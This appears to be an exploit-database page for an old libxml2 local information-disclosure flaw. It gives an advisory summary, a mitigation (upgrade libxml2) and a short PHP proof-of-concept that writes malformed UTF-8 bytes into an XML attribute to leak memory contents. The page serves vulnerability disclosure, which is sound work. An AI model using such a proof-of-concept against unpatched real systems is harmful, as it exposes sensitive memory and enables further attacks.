header-logo
Suggest Exploit
vendor:
libxml2 Library
by:
Kees Cook
7.5
CVSS
HIGH
Information Disclosure
200
CWE
Product Name: libxml2 Library
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2010

libxml2 Library Local Information-Disclosure Vulnerability

The 'libxml2' library is prone to a local information-disclosure vulnerability. Attackers can exploit this issue to obtain sensitive information that may lead to further attacks. A proof-of-concept memory content leak is demonstrated in the code snippet provided.

Mitigation:

Upgrade to the latest version of libxml2 library.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/45973/info

The 'libxml2' library is prone to a local information-disclosure vulnerability.

Attackers can exploit this issue to obtain sensitive information that may lead to further attacks. 

<?php 
# Copyright 2010, Canonical, Ltd. 
# Author: Kees Cook <kees@ubuntu.com> 
# License: GPLv3 
# 
# Proof-of-concept memory content leak 

$xw = new XMLWriter(); 
$xw->openURI('php://output'); 

$xw->startElement('input'); 
$xw->writeAttribute('value', "\xe0\x81"); 
$xw->endElement(); 

?>

Navigation

Suggest Exploit

Services By CQR